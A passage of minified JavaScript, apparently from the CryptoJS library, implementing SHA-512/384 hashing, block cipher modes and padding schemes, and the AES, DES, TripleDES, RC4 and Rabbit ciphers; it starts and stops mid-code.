0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), 